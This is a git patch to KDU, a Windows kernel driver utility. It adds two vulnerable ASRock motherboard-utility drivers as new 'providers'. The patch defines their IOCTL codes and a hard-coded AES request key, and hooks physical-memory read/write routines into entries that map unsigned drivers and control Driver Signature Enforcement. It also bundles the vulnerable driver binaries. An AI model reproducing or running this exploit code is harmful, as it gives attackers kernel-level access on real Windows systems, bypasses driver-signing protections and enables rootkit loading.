From 8b12e5698a58f3ad7318196085bb5930c741df59 Mon Sep 17 00:00:00 2001 From: hfiref0x Date: Sat, 23 Dec 2023 23:58:49 +0700 Subject: [PATCH] v 1.4.1 Added fresh ASRock wormhole drivers as providers 50 and 51 --- README.md | 4 ++ Source/Hamakaze/KDU.vcxproj.user | 2 +- Source/Hamakaze/idrv/asrdrv.cpp | 40 +++++++++++++- Source/Hamakaze/idrv/asrdrv.h | 13 ++++- Source/Hamakaze/kduplist.h | 54 +++++++++++++++++++ Source/Hamakaze/tests.cpp | 2 +- Source/Tanikaze/Tanikaze.vcxproj | 2 + Source/Tanikaze/Tanikaze.vcxproj.filters | 6 +++ Source/Tanikaze/data/AsusCertService.bin | Bin 159488 -> 159488 bytes Source/Tanikaze/data/KMUEXE.bin | Bin 91965 -> 91965 bytes Source/Tanikaze/data/KMUSIG.bin | 2 +- Source/Tanikaze/data/dbutilcat.bin | Bin 5973 -> 5973 bytes Source/Tanikaze/data/dbutilinf.bin | Bin 961 -> 961 bytes Source/Tanikaze/drv/ALSysIO64.bin | Bin 22889 -> 22889 bytes Source/Tanikaze/drv/AMDRyzenMasterDriver.bin | Bin 26170 -> 26170 bytes Source/Tanikaze/drv/AODDriver215.bin | Bin 8108 -> 8108 bytes Source/Tanikaze/drv/ATSZIO64.bin | Bin 10480 -> 10480 bytes Source/Tanikaze/drv/AppShopDrv103.bin | Bin 18126 -> 18126 bytes Source/Tanikaze/drv/AsIO3.bin | Bin 23237 -> 23237 bytes Source/Tanikaze/drv/AsrDrv106.bin | Bin 28195 -> 28195 bytes Source/Tanikaze/drv/AsrDrv107.bin | Bin 0 -> 29212 bytes Source/Tanikaze/drv/AsrDrv107n.bin | Bin 0 -> 28420 bytes Source/Tanikaze/drv/AxtuDrv.bin | Bin 11593 -> 11593 bytes Source/Tanikaze/drv/DbUtil2_3.bin | Bin 7938 -> 7938 bytes Source/Tanikaze/drv/DirectIo64.bin | Bin 22129 -> 22129 bytes Source/Tanikaze/drv/DirectIo64_2.bin | Bin 24128 -> 24128 bytes Source/Tanikaze/drv/EneIo64.bin | Bin 9168 -> 9168 bytes Source/Tanikaze/drv/EneTechIo64.bin | Bin 10975 -> 10975 bytes Source/Tanikaze/drv/GLCKIO2.bin | Bin 10566 -> 10566 bytes Source/Tanikaze/drv/HW64.bin | Bin 17993 -> 17993 bytes Source/Tanikaze/drv/KExplore.bin | Bin 8339 -> 8339 bytes Source/Tanikaze/drv/KObjExp.bin | Bin 8339 -> 8339 bytes Source/Tanikaze/drv/KRegExp.bin | Bin 12926 -> 12926 bytes Source/Tanikaze/drv/LDD.bin | Bin 21856 -> 21856 bytes Source/Tanikaze/drv/MsIo64.bin | Bin 14068 -> 14068 bytes Source/Tanikaze/drv/PdFwKrnl.bin | Bin 17174 -> 17174 bytes Source/Tanikaze/drv/PhyDMACC.bin | Bin 7998 -> 7998 bytes Source/Tanikaze/drv/Phymemx64.bin | Bin 13875 -> 13875 bytes Source/Tanikaze/drv/RTCore64.bin | Bin 7605 -> 7605 bytes Source/Tanikaze/drv/SysDrv3S.bin | Bin 14691 -> 14691 bytes Source/Tanikaze/drv/WinRing0x64.bin | Bin 7989 -> 7989 bytes Source/Tanikaze/drv/amsdk.bin | Bin 93689 -> 93689 bytes Source/Tanikaze/drv/asio2.bin | Bin 19306 -> 19306 bytes Source/Tanikaze/drv/dbk64.bin | Bin 51941 -> 51941 bytes Source/Tanikaze/drv/dbutildrv2.bin | Bin 13068 -> 13068 bytes Source/Tanikaze/drv/echo_driver.bin | Bin 12299 -> 12299 bytes Source/Tanikaze/drv/eleetx1.bin | Bin 21133 -> 21133 bytes Source/Tanikaze/drv/ene2.bin | Bin 11550 -> 11550 bytes Source/Tanikaze/drv/etdsupp.bin | Bin 17877 -> 17877 bytes Source/Tanikaze/drv/gdrv.bin | Bin 12988 -> 12988 bytes Source/Tanikaze/drv/gmerdrv.bin | Bin 28189 -> 28189 bytes Source/Tanikaze/drv/heavenluo.bin | Bin 10082 -> 10082 bytes Source/Tanikaze/drv/iQVM64.bin | Bin 16988 -> 16988 bytes Source/Tanikaze/drv/inpoutx64.bin | Bin 7526 -> 7526 bytes Source/Tanikaze/drv/irec.bin | Bin 41638 -> 41638 bytes Source/Tanikaze/drv/kprocesshacker.bin | Bin 19038 -> 19038 bytes Source/Tanikaze/drv/lha.bin | Bin 12338 -> 12338 bytes Source/Tanikaze/drv/mimidrv.bin | Bin 15718 -> 15718 bytes Source/Tanikaze/drv/nvoclock.bin | Bin 18208 -> 18208 bytes Source/Tanikaze/drv/pcdsrvc_x64.bin | Bin 13490 -> 13490 bytes Source/Tanikaze/drv/physmem.bin | Bin 13649 -> 13649 bytes Source/Tanikaze/drv/procexp1627.bin | Bin 18571 -> 18571 bytes Source/Tanikaze/drv/procexp1702.bin | Bin 19573 -> 19573 bytes Source/Tanikaze/drv/rtkio64.bin | Bin 25003 -> 25003 bytes Source/Tanikaze/drv/rzpnk.bin | Bin 35883 -> 35883 bytes Source/Tanikaze/drv/wnBios64.bin | Bin 12858 -> 12858 bytes Source/Tanikaze/resource.h | 5 +- Source/Tanikaze/resource.rc | 4 ++ Source/Tanikaze/tanikaze.h | 30 +++++++++++ 69 files changed, 157 insertions(+), 7 deletions(-) create mode 100644 Source/Tanikaze/drv/AsrDrv107.bin create mode 100644 Source/Tanikaze/drv/AsrDrv107n.bin diff --git a/README.md b/README.md index 44bcdee..b2dbd10 100644 --- a/README.md +++ b/README.md @@ -159,6 +159,8 @@ Note: Provider with Id 0 assumed as default if no -prv command is specified. | 47 | EVGA | EleetX1| EVGA ELEET X1 | 1.0.16.0 and below | | | 48 | ASRock | AxtuDrv | AsRock Extreme Tuner | Undefined | | | 49 | ASRock | AppShopDrv103 | ASRock APP Shop | 1.0.58 and below | | +| 50 | ASRock | AsrDrv107n | ASRock Motherboard Utility | 3.0.498 and below | | +| 51 | ASRock | AsrDrv107 | ASRock Motherboard Utility | 3.0.498 and below | | MSFT blacklist types: * Cert - by certificate used to sign the driver which makes it possible to ban huge number of files at one time. @@ -218,6 +220,8 @@ MSFT blacklist types: |47|Original||**File(SHA1):** DA66B66DCA5EA8689DB903EC23E98F2C881DE6F8
**Authenticode(SHA1):** A8D16FED8999033126D60C656A3BA359DFAA559F
**Page(SHA1):** 082FBFF03465F78276D5A2066398A9D3C73DB9AB
**Page(SHA256):** F677A9447400EAEE6E12A88F59AAADCF6DDF8F16EC8F7612BF50AB378A9B9012| |48|RWEverything||**File(SHA1):** 3F6A997B04D2299BA0E9F505803E8D60D0755F44
**Authenticode(SHA1):** E7FAC017B371A43276E03BF5F71D437E8D377930
**Page(SHA1):** EE9A5A98C257F2D50030B7F3AB6D7DA805FCC150
**Page(SHA256):** D159D969E05C83F27F446BCC5F171A0043CC3DF0B518962CEE7ACBE30BCC02F8| |49|RWEverything||**File(SHA1):** 6074C2360F5DC74738873A525DFBD67EB6625986
**Authenticode(SHA1):** 03C523F31603C460076AD549F985DD9533734E95
**Page(SHA1):** 85B6FC43E943C9EB9B3DE1FF82A56870620CC1CF
**Page(SHA256):** A3AF7747FAC60B814FA6717B174F1199B9D163081B55AE40CEDD9983B6D033F5| +|50|RWEverything||**File(SHA1):** 11D7E0D29AB17292FD43BDD5CCB7DA0403E50E52
**Authenticode(SHA1):** CA06D9FD91F7B681204B35975D5C069D0DABE276
**Page(SHA1):** B7693E1170B01F24A824892607C2258CA653805A
**Page(SHA256):** B8776F6889CF3D8252F0912DD9745F8EFF4513292DF2B2B1D484CDBC68FBAE4C| +|51|RWEverything||**File(SHA1):** B1FAD5DA173C6A603FFFE20E0CB5F0BDCA823BD5
**Authenticode(SHA1):** 268073AD0B17E2161C1A2A6C5B1BDEBB7B3011B4
**Page(SHA1):** 0B48F35DAF8B8BC9BA4E413EF222415EAB791AE0
**Page(SHA256):** B073907634013A8EB65E4C8AA42535BAD08101E58B7B1489AEE395B7BE9C69E2| ###### *At commit time, data maybe inaccurate. diff --git a/Source/Hamakaze/KDU.vcxproj.user b/Source/Hamakaze/KDU.vcxproj.user index 64d6898..f99e547 100644 --- a/Source/Hamakaze/KDU.vcxproj.user +++ b/Source/Hamakaze/KDU.vcxproj.user @@ -5,7 +5,7 @@ WindowsLocalDebugger - -prv 49 -map c:\install\dummy.sys + -prv 48 -map c:\install\dummy.sys WindowsLocalDebugger \ No newline at end of file diff --git a/Source/Hamakaze/idrv/asrdrv.cpp b/Source/Hamakaze/idrv/asrdrv.cpp index 92def7a..6562d8c 100644 --- a/Source/Hamakaze/idrv/asrdrv.cpp +++ b/Source/Hamakaze/idrv/asrdrv.cpp @@ -27,6 +27,9 @@ #define ASROCK_AES_KEY "C110DD4FE9434147B92A5A1E3FDBF29A" #define ASROCK_AES_KEY_LENGTH sizeof(ASROCK_AES_KEY) - sizeof(CHAR) +ULONG g_AsrReadPhysIOCTL; +ULONG g_AsrWritePhysIOCTL; + /* * AsrEncryptDriverRequest * @@ -268,6 +271,9 @@ BOOL WINAPI AsrWritePhysicalMemory( &args); } + + + /* * RweReadPhysicalMemory * @@ -301,7 +307,7 @@ BOOL WINAPI RweReadPhysicalMemory( request.Granularity = AsrGranularityDword; if (supCallDriver(DeviceHandle, - IOCTL_RWDRV_READ_MEMORY, + g_AsrReadPhysIOCTL, &request, sizeof(request), &request, @@ -339,9 +345,39 @@ BOOL WINAPI RweWritePhysicalMemory( request.Data = (PBYTE)Buffer; return supCallDriver(DeviceHandle, - IOCTL_RWDRV_WRITE_MEMORY, + g_AsrWritePhysIOCTL, &request, sizeof(request), &request, sizeof(request)); } + +/* +* AsrRegisterDriver +* +* Purpose: +* +* Register AsRock driver. +* +*/ +BOOL WINAPI AsrRegisterDriver( + _In_ HANDLE DeviceHandle, + _In_opt_ PVOID Param) +{ + ULONG DriverId = PtrToUlong(Param); + + UNREFERENCED_PARAMETER(DeviceHandle); + + g_AsrReadPhysIOCTL = IOCTL_RWDRV_READ_MEMORY; + g_AsrWritePhysIOCTL = IOCTL_RWDRV_WRITE_MEMORY; + + switch (DriverId) { + + case IDR_ASROCKDRV3: + g_AsrReadPhysIOCTL = IOCTL_RWDRV_READ_MEMORY_7N; + g_AsrWritePhysIOCTL = IOCTL_RWDRV_WRITE_MEMORY_7N; + break; + } + + return TRUE; +} diff --git a/Source/Hamakaze/idrv/asrdrv.h b/Source/Hamakaze/idrv/asrdrv.h index ea81c32..a96ce8c 100644 --- a/Source/Hamakaze/idrv/asrdrv.h +++ b/Source/Hamakaze/idrv/asrdrv.h @@ -6,7 +6,7 @@ * * VERSION: 1.41 * -* DATE: 10 Dec 2023 +* DATE: 11 Dec 2023 * * ASRock driver interface header. * @@ -38,6 +38,13 @@ #define IOCTL_RWDRV_WRITE_MEMORY \ CTL_CODE(FILE_DEVICE_UNKNOWN, ASRDRV_WRITE_MEMORY, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x0022280C +#define IOCTL_RWDRV_READ_MEMORY_7N \ + CTL_CODE(FILE_DEVICE_UNKNOWN, ASRDRV_READ_MEMORY, METHOD_BUFFERED, FILE_READ_ACCESS | FILE_WRITE_ACCESS) //0x0022E808 + +#define IOCTL_RWDRV_WRITE_MEMORY_7N \ + CTL_CODE(FILE_DEVICE_UNKNOWN, ASRDRV_WRITE_MEMORY, METHOD_BUFFERED, FILE_READ_ACCESS | FILE_WRITE_ACCESS) //0x0022E80C + + // // Based on CVE-2020-15368 // @@ -109,3 +116,7 @@ BOOL WINAPI RweWritePhysicalMemory( _In_ ULONG_PTR PhysicalAddress, _In_ PVOID Buffer, _In_ ULONG NumberOfBytes); + +BOOL WINAPI AsrRegisterDriver( + _In_ HANDLE DeviceHandle, + _In_opt_ PVOID Param); diff --git a/Source/Hamakaze/kduplist.h b/Source/Hamakaze/kduplist.h index b371a36..c3e4b12 100644 --- a/Source/Hamakaze/kduplist.h +++ b/Source/Hamakaze/kduplist.h @@ -1339,6 +1339,32 @@ static KDU_PROVIDER g_KDUProviders[] = (provOpenProcess)NULL }, + { + NULL, + + (provStartVulnerableDriver)KDUProvStartVulnerableDriver, + (provStopVulnerableDriver)KDUProvStopVulnerableDriver, + + (provRegisterDriver)AsrRegisterDriver, + (provUnregisterDriver)NULL, + (provPreOpenDriver)NULL, + (provPostOpenDriver)KDUProviderPostOpen, + (provMapDriver)KDUMapDriver, + (provControlDSE)KDUControlDSE2, + + (provReadKernelVM)NULL, + (provWriteKernelVM)NULL, + + (provVirtualToPhysical)NULL, + (provQueryPML4)NULL, + (provReadPhysicalMemory)RweReadPhysicalMemory, + (provWritePhysicalMemory)RweWritePhysicalMemory, + + (provValidatePrerequisites)NULL, + + (provOpenProcess)NULL + }, + { NULL, @@ -1355,6 +1381,33 @@ static KDU_PROVIDER g_KDUProviders[] = (provReadKernelVM)NULL, (provWriteKernelVM)NULL, + (provVirtualToPhysical)NULL, + (provQueryPML4)NULL, + (provReadPhysicalMemory)AsrReadPhysicalMemory, + (provWritePhysicalMemory)AsrWritePhysicalMemory, + + (provValidatePrerequisites)NULL, + + (provOpenProcess)NULL + }, + + + { + NULL, + + (provStartVulnerableDriver)KDUProvStartVulnerableDriver, + (provStopVulnerableDriver)KDUProvStopVulnerableDriver, + + (provRegisterDriver)AsrRegisterDriver, + (provUnregisterDriver)NULL, + (provPreOpenDriver)NULL, + (provPostOpenDriver)KDUProviderPostOpen, + (provMapDriver)KDUMapDriver, + (provControlDSE)KDUControlDSE2, + + (provReadKernelVM)NULL, + (provWriteKernelVM)NULL, + (provVirtualToPhysical)NULL, (provQueryPML4)NULL, (provReadPhysicalMemory)RweReadPhysicalMemory, @@ -1365,6 +1418,7 @@ static KDU_PROVIDER g_KDUProviders[] = (provOpenProcess)NULL }, + { NULL, diff --git a/Source/Hamakaze/tests.cpp b/Source/Hamakaze/tests.cpp index 94754e8..c1b68c4 100644 --- a/Source/Hamakaze/tests.cpp +++ b/Source/Hamakaze/tests.cpp @@ -188,7 +188,7 @@ VOID KDUTest() // KDUTestLoad(); // TestSymbols(); - Context = KDUProviderCreate(48, + Context = KDUProviderCreate(50, FALSE, NT_WIN10_20H1, KDU_SHELLCODE_V1, diff --git a/Source/Tanikaze/Tanikaze.vcxproj b/Source/Tanikaze/Tanikaze.vcxproj index 1920942..1244cfe 100644 --- a/Source/Tanikaze/Tanikaze.vcxproj +++ b/Source/Tanikaze/Tanikaze.vcxproj @@ -192,6 +192,8 @@ + + diff --git a/Source/Tanikaze/Tanikaze.vcxproj.filters b/Source/Tanikaze/Tanikaze.vcxproj.filters index ad5a400..8ae8135 100644 --- a/Source/Tanikaze/Tanikaze.vcxproj.filters +++ b/Source/Tanikaze/Tanikaze.vcxproj.filters @@ -211,6 +211,12 @@ Resource Files + + Resource Files + + + Resource Files + diff --git a/Source/Tanikaze/data/AsusCertService.bin b/Source/Tanikaze/data/AsusCertService.bin index 08318e0836ae677d8c3ad084878ac6a5f0ff53d4..d5f0fe4f223b2309dd0165c300dd4ed1eac9f77b 100644 GIT binary patch delta 26 icmZp;$Jua?lXFAE2J`%)*+IUIoUNRUTREA&=K%neZwg2N delta 26 icmZp;$Jua?lXFAE2J`o6<*Tw9Ia@gyw{kLl&jSFS(hCg$ diff --git a/Source/Tanikaze/data/KMUEXE.bin b/Source/Tanikaze/data/KMUEXE.bin index 1d261a8688981d478edac654788e4b008b38407e..7dc46a12b0b29e93cd0bccbfec4396843b48389d 100644 GIT binary patch delta 23 fcmdmcj&<)jR?ZC#8_fH;mInDYa&F~hG)V^ld^HII delta 23 fcmdmcj&<)jR?ZC#8_fCb8CPXBa&F~hG)V^lb`%JR diff --git a/Source/Tanikaze/data/KMUSIG.bin b/Source/Tanikaze/data/KMUSIG.bin index e5a059e..b7396d0 100644 --- a/Source/Tanikaze/data/KMUSIG.bin +++ b/Source/Tanikaze/data/KMUSIG.bin @@ -1,2 +1,2 @@ -7jz,]qq>Vf[&S>oְkFzQy,-ҷ}eI8q^g0^r*(a7p}?4FjB\0K$1g^퉄bV`ʹ%뇱7*֯>wi +7RMz,]qq>Vf[&S>oְkFzQy,-ҷ}eI8q^g0^r*(a7p}?4FjB\0K$1g^퉄bV`ʹ%뇱7*֯>wi mV?SH/08H ] \ No newline at end of file diff --git a/Source/Tanikaze/data/dbutilcat.bin b/Source/Tanikaze/data/dbutilcat.bin index 9592bb3dbb9cd43651d1b92e6df6a5018f9da433..e462787d4ed87372bcf291b080e40c98da0fe6c6 100644 GIT binary patch delta 18 acmcbrcU6ybL&FC1`R?n2d^d9Xhywsl%m;S> delta 18 ZcmcbrcU6ybL&FAhenqZTSsOWh!~sUJ29f{( diff --git a/Source/Tanikaze/data/dbutilinf.bin b/Source/Tanikaze/data/dbutilinf.bin index 5f240a5b74bc40315c72f7b0a7f5fdc5c2c2f233..4baa41e4fd87ef539b07ffc342be73ffcea6b2f2 100644 GIT binary patch delta 18 acmX@eevqAWL&FC1ew}qez8g7rFarQapa(7h delta 18 acmX@eevqAWL&FAhenqZTSsOWbFarQT?FMuJ diff --git a/Source/Tanikaze/drv/ALSysIO64.bin b/Source/Tanikaze/drv/ALSysIO64.bin index 5045c4a908732f2b19eb93732843bd2772dada77..d51264b5d218b81596f17307f8077fb8c5fe0886 100644 GIT binary patch delta 20 ccmaF4iSgwoM$Qcl8_eScs)BqsawbFq0AcP3Q~&?~ delta 20 ccmaF4iSgwoM$Qcl8_f4Jo?o4{kuxC@0BO((Z~y=R diff --git a/Source/Tanikaze/drv/AMDRyzenMasterDriver.bin b/Source/Tanikaze/drv/AMDRyzenMasterDriver.bin index 9169612ba5425233cf3e4570f1a5f82fef705705..6dd6feda26b824cd0ce2beaa878e7906c0be3fbd 100644 GIT binary patch delta 20 ccmdmWhH=*!M$Qcl8_fN$mj(H5t<8 delta 20 ccmZ2{hjH;8M$Qcl8_dt2zO*`PBd1gz0Bi0EY=fUq~OqO?*?*#fY7=BvS9RJa?)%0Dt#j+ke2Cn9RX>H~!(-4sZ==xU0w z#tlT{@PVH|mf%~O04k24%KH|BboFVv$y-oGUIOR^Xf~wyY-S%-8xgPa3>lyV@>h+P zp6)U-ef!sica=&WHtHd@n`IAv0_O+7FWNk%=I-i#AkW-sEut1{p(E%uUN$7rup|=A z(T_wrx<#=l2V-q#1r-_90W+xdiuFlRJ?GZ3;ABsDAbs~cVKkrV)qZwqToU)f-lL z-0)}4i8c;sccurHZ7^F-6p34-Nb#kt-SgMa5CL@S?Ymb^*i2lhY*9VGa6NkAr2quf z0?Y_`AK=dZ=6~x7LNI9Z`m@+n93XSKl%Hsl&JFjU0GeTcpOu~(S(UaSyP*#1EN^$o zD&VTEls7)l>?`3rGSz~gz%Ynk)VJ@yv|A_jL*wS$tv5v4cI*u7Y zz#Jo{j3w>r}SY>qs9&>q2 zQ4wryo2xhPSiI`M;StxLNZM!qU!2da_}N?4e+H+*=44FW5;wH8;WPxIO9fMvZPVw1 z9M-Iq&%T2LyIyUbNnvsa_=#TQ=O3TV>_*v{}aDAP%U_UAu0 zrCR^INqMV2ql}JXzNrECfQDN--znwIaR**#`rsMB&L|k&6H> zPFZxz`bzs{NTSEI9C>YjD4bow2y}-LL`&XXpOpXZU{V*P4T6xXX={Wb(zoa^NLw7Z zun35dme9Oh!{Al*PU#ZehE;L|Y}9S|;}M-`{$gQFPL)qkJ-GUSP^(9mO{1}y230MH zH4~a`hhF2m<33C za+513*11LwU2H!lMW7#`*4UZ8HKD{BogsV)f?nDXd@n6!9j3<}{_K%y4k^6y=z~~d zV&!R(yLJjVNMZiIn!u9t?Sq(MVy}fY?St{)!@(At&Z;0v5lh2@D=1lsaV5pXT0hdo zm7*Btdl;Ucz5# z=YD>VT5ifDG%pRak38!8wGys{ee_qwV`tMas&JV!%S!(DTF_}tThA>pGrAE+tr}=t z_>hgA?rV}5UGNeiJmx*WfCEHPD1c*^-y8wMUg(Vg^#`#>1!4OXNo=%oynnyYlSIo} zlBhi>D5QYKj!P47x=xJe|2@qh`Xyk1fFxms>@!ZtIeRFXFcN^ z0P)I_Dw5pFhUInk?5&NvdYH%L16D~4nm@%^NXkhrhu3KdTwM_+6Lk$i?mnl|Qinn= zrUDvA%IKXE*t$WKvq7bs{hUEpL~-l0~Dfi30co zJff~5oD^HGJCI^)^hN8!&O<7emW|k!a2<)~XdmcKu`y)$C1<8QVDCPp@@`+Yu@5qP zCY9nJL>2Uu%WP~UdSyHb8a;ZEk88lOTMt_Y0IHg4W5W|4~oD;MH^l=+$+v= zR%+YLAi;shLTV~z%)QioQ|t;khh*e`OnG@IE(`HSR`Pi}GbzpKz!mZzQ}Yyj8-(bj zq>9m=XD;bq3{c9DDH&%sg0?MKce>k43Yt$f|BU%3lQ@pgT-w0-aA$YqCyKFYLz¨u#Ztw=$_x4vnTPzIGVPT*7%Ye`xA@4ZuUE~ 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 